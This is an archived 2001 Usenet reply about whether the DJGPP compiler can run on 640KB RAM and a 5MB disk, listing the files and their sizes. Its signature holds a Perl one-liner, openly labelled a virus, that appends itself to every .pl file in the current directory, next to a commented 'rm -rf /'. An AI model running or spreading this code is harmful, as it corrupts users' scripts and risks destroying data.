From: eins AT durchnull DOT de (Rudolf Polzer) Newsgroups: comp.os.msdos.djgpp Subject: Re: I am new here. References: X-newsgroup: comp.os.msdos.djgpp X-realname: Eli Zaretskii X-Ringtones: http://ringtones AT durchnull DOT de X-Original: no Message-ID: User-Agent: slrn/0.9.6.3 (Linux) Date: Sun, 29 Apr 2001 13:31:01 +0200 Lines: 78 NNTP-Posting-Host: 213.6.47.75 X-Trace: 988550253 news.freenet.de 12094 213.6.47.75 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Eli Zaretskii wrote: > > On Sat, 28 Apr 2001, echo 'Rudolf Polzer'>/dev/null wrote: > > > > > But swap is needed (perhaps not that much for C). > > > > > > It depends on the amount of physical RAM. If the machine has 16MB or > > > more, it should need no swap space for 99.99% of C compilations. I > > > don't use C++ much, but I'd guess that 32MB will take care of nost C++ > > > sources as well. > > > > I meant: 640k _and_ 5 MB hard drive. Where to swap? > > It's pointless to argue about such ridiculous examples, because this > is a non-existent configuration: the smallest hard drive ever > produced, even for the XT, was 10MB large. And I doubt if you could > find a 386 or better machine with only 640KB even if you tried very > hard: they usually start at 4MB. Really? See <200104271916 DOT PAA22525 AT envy DOT delorie DOT com> where DJ Delorie said: "640k and a 5MB hard drive" were enough. 1. There is no 5MB hard drive, but since hard drives tend to get full and I had a 386SX16 (1MB RAM, 50 MB HDD) and Win3.1 running on it as well as some programming languages (PowerBasic, TP 6.0, TPW 1.5) there were only 5MB free. But I did not wait very long to get four 1MB SIMMs to upgrade... and I converted my HDD to DoubleSpace (DOS 6.0) to get some free space again. So this configuration _is_ (or better, was) realistic. 2. I wanted to know if current DJGPP versions can still run on 5 MB HDD and 640k RAM (so anything above 500k the compiler uses must be swapped out). Of course older versions may work, but current ones (without starting the compiler from floppy and using the HDD only for swap; this saves >1 MB and therefore should work). AFAIK at least these files of my distribution are needed (correct me if I am wrong, I am sure many small files are missing): C:\DJDEV\BIN AS.EXE (330k) or not needed because of DJASM.EXE (110k)? CC1.EXE (1800k) CPP.EXE (240k) CWSDPMI.EXE (20k) GCC.EXE (230k) LD.EXE (310k) STUBIFY.EXE (60k) C:\DJDEV\LIB LIBC.A (610k) other small files (not counted) C:\DJDEV\LIB\DJGPP\2.952 SYSCALLS.CX (80k) COLLECT2.EXE(260k) ??? What's that good for? LIBGCC.A (300k) SPECS (small) some files already in C:\DJDEV\BIN (can be saved by putting stubs in C:\DJDEV\BIN that just call these files) .h files are not counted because you can just copy those you really need (stdio, stdlib etc.) When I add these figures, I get 3760k, so that 4M are needed at least (I did not count COLLECT2.EXE and AS.EXE because I do not know if they are really needed). So when 5M are free, you have <1.5M swap space and therefore <2.2M free memory. Will DJGPP work with <2.2M free (virtual) memory? BTW: And why does 'false' contain more than just 'exit 1'? This simple program even has a help screen... -- #!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf / eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################